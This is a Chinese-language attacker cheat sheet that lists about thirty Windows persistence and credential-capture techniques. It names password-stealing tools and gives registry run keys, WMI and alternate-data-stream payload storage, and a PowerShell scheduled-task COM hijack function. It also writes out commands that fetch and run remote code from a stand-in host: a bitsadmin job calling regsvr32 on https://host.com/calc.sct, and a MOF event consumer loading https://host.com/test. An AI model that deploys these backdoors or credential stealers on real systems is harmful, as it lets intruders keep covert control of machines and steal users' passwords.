1、密码记录工具

WinlogonHack WinlogonHack 是一款用来劫取远程3389登录密码的工具,在 WinlogonHack 之前有 一个 Gina 木马主要用来截取 Windows 2000下的密码,WinlogonHack 主要用于截 取 Windows XP 以及 Windows 2003 Server。 键盘记录器 安装键盘记录的目地不光是记录本机密码,是记录管理员一切的密码,比如说信箱,WEB 网页密码等等,这样也可以得到管理员的很多信息。 NTPass 获取管理员口令,一般用 gina 方式来,但有些机器上安装了 pcanywhere 等软件,会导致远程登录的时候出现故障,本软件可实现无障碍截取口令。 Linux 下 openssh 后门 重新编译运行的sshd服务,用于记录用户的登陆密码。

2、常用的存储Payload位置

WMI : 存储:

$StaticClass = New-Object Management.ManagementClass('root\cimv2', $null,$null)
$StaticClass.Name = 'Win32_Command'
$StaticClass.Put()
$StaticClass.Properties.Add('Command' , $Payload)
$StaticClass.Put() 

读取:

$Payload=([WmiClass] 'Win32_Command').Properties['Command'].Value

包含数字签名的PE文件 利用文件hash的算法缺陷,向PE文件中隐藏Payload,同时不影响该PE文件的数字签名 特殊ADS

type putty.exe > ...:putty.exe
wmic process call create c:\test\ads\...:putty.exe

特殊COM文件

type putty.exe > \\.\C:\test\ads\COM1:putty.exe
wmic process call create \\.\C:\test\ads\COM1:putty.exe

磁盘根目录

type putty.exe >C:\:putty.exe 
wmic process call create C:\:putty.exe
3、Run/RunOnce Keys

用户级

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce

管理员

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run
4、BootExecute Key

由于smss.exe在Windows子系统加载之前启动,因此会调用配置子系统来加载当前的配置单元,具体注册表键值为:

HKLM\SYSTEM\CurrentControlSet\Control\hivelist
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Control\Session Manager
5、Userinit Key

WinLogon进程加载的login scripts,具体键值:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
6、Startup Keys
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
7、Services

创建服务

sc create [ServerName] binPath= BinaryPathName
8、Browser Helper Objects

本质上是Internet Explorer启动时加载的DLL模块

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects
9、AppInit_DLLs

加载User32.dll会加载的DLL

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs
10、文件关联
HKEY_LOCAL_MACHINE\Software\Classes
HKEY_CLASSES_ROOT
11、bitsadminopen in new window
bitsadmin /create backdoor
bitsadmin /addfile backdoor %comspec% %temp%\cmd.exe
bitsadmin.exe /SetNotifyCmdLine backdoor regsvr32.exe "/u /s /i:https://host.com/calc.sct scrobj.dll"
bitsadmin /Resume backdoor
12、mof open in new window
pragma namespace("\\\\.\\root\\subscription") 
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP1";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 1";
QueryLanguage = "WQL";
}; 
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consP1";
ScriptingEngine = "JScript";
ScriptText = "GetObject(\"script:https://host.com/test\")";
}; 
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};

管理员执行:

mofcomp test.mof
13、wmiopen in new window

每隔60秒执行一次notepad.exe

wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="BotFilter82", EventNameSpace="root\cimv2",QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="BotConsumer23", ExecutablePath="C:\Windows\System32\notepad.exe",CommandLineTemplate="C:\Windows\System32\notepad.exe"
wmic /NAMESPACE:"\\root\subscription" PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\"BotFilter82\"", Consumer="CommandLineEventConsumer.Name=\"BotConsumer23\""
14、Userland Persistence With Scheduled Tasksopen in new window

劫持计划任务UserTask,在系统启动时加载dll

function Invoke-ScheduledTaskComHandlerUserTask
{
[CmdletBinding(SupportsShouldProcess = $True, ConfirmImpact = 'Medium')]
Param (
[Parameter(Mandatory = $True)]
[ValidateNotNullOrEmpty()]
[String]
$Command,

[Switch]
$Force
)
$ScheduledTaskCommandPath = "HKCU:\Software\Classes\CLSID\{58fb76b9-ac85-4e55-ac04-427593b1d060}\InprocServer32"
if ($Force -or ((Get-ItemProperty -Path $ScheduledTaskCommandPath -Name '(default)' -ErrorAction SilentlyContinue) -eq $null)){
New-Item $ScheduledTaskCommandPath -Force |
New-ItemProperty -Name '(Default)' -Value $Command -PropertyType string -Force | Out-Null
}else{
Write-Verbose "Key already exists, consider using -Force"
exit
}

if (Test-Path $ScheduledTaskCommandPath) {
Write-Verbose "Created registry entries to hijack the UserTask"
}else{
Write-Warning "Failed to create registry key, exiting"
exit
} 
}
Invoke-ScheduledTaskComHandlerUserTask -Command "C:\test\testmsg.dll" -Verbose
15、Netshopen in new window
netsh add helper c:\test\netshtest.dll

后门触发:每次调用netsh

dll编写:https://github.com/outflanknl/NetshHelperBeacon

16、Shimopen in new window

常用方式: InjectDll RedirectShortcut RedirectEXE

17、DLL劫持open in new window

通过Rattler自动枚举进程,检测是否存在可用dll劫持利用的进程 使用:Procmon半自动测试更精准,常规生成的dll会导致程序执行报错或中断,使用AheadLib配合生成dll劫持利用源码不会影响程序执行 工具:https://github.com/sensepost/rattler 工具:https://github.com/Yonsm/AheadLib

18、DoubleAgent open in new window

编写自定义Verifier provider DLL 通过Application Verifier进行安装 注入到目标进程执行payload 每当目标进程启动,均会执行payload,相当于一个自启动的方式 POC : https://github.com/Cybellum/DoubleAgent

19、waitfor.exe open in new window

不支持自启动,但可远程主动激活,后台进程显示为waitfor.exe POC : https://github.com/3gstudent/Waitfor-Persistence

20、AppDomainManageropen in new window

针对.Net程序,通过修改AppDomainManager能够劫持.Net程序的启动过程。如果劫持了系统常见.Net程序如powershell.exe的启动过程,向其添加payload,就能实现一种被动的后门触发机制

21、Office

劫持Office软件的特定功能open in new window:通过dll劫持,在Office软件执行特定功能时触发后门 利用VSTO实现的office后门open in new windowOffice加载项open in new window

  • Word WLL
  • Excel XLL
  • Excel VBA add-ins
  • PowerPoint VBA add-ins

参考1 :https://3gstudent.github.io/3gstudent.github.io/Use-Office-to-maintain-persistence/ 参考2 :https://3gstudent.github.io/3gstudent.github.io/Office-Persistence-on-x64-operating-system/

22、CLRopen in new window

无需管理员权限的后门,并能够劫持所有.Net程序 POC:https://github.com/3gstudent/CLR-Injection

23、msdtcopen in new window

利用MSDTC服务加载dll,实现自启动,并绕过Autoruns对启动项的检测 利用:向 %windir%\system32\目录添加dll并重命名为oci.dll

24、Hijack CAccPropServicesClass and MMDeviceEnumeratoopen in new window

利用COM组件,不需要重启系统,不需要管理员权限 通过修改注册表实现 POC:https://github.com/3gstudent/COM-Object-hijacking

25、Hijack explorer.exeopen in new window

COM组件劫持,不需要重启系统,不需要管理员权限 通过修改注册表实现

HKCU\Software\Classes\CLSID{42aedc87-2188-41fd-b9a3-0c966feabec1}
HKCU\Software\Classes\CLSID{fbeb8a05-beee-4442-804e-409d6c4515e9}
HKCU\Software\Classes\CLSID{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}
HKCU\Software\Classes\Wow6432Node\CLSID{BCDE0395-E52F-467C-8E3D-C4579291692E}
26、Windows FAX DLL Injection

通过DLL劫持,劫持Explorer.exe对fxsst.dll的加载 Explorer.exe在启动时会加载c:\Windows\System32\fxsst.dll(服务默认开启,用于传真服务)将payload.dll保存在c:\Windows\fxsst.dll,能够实现dll劫持,劫持Explorer.exe对fxsst.dll的加载

27、特殊注册表键值

在注册表启动项创建特殊名称的注册表键值,用户正常情况下无法读取(使用Win32 API),但系统能够执行(使用Native API)。 《渗透技巧——"隐藏"注册表的创建》open in new window《渗透技巧——"隐藏"注册表的更多测试》open in new window

28、快捷方式后门

替换我的电脑快捷方式启动参数 POC : https://github.com/Ridter/Pentest/blob/master/powershell/MyShell/Backdoor/LNK_backdoor.ps1

29、Logon Scriptsopen in new window
New-ItemProperty "HKCU:\Environment\" UserInitMprLogonScript -value "c:\test\11.bat" -propertyType string | Out-Null
30、Password Filter DLLopen in new window
31、利用BHO实现IE浏览器劫持open in new window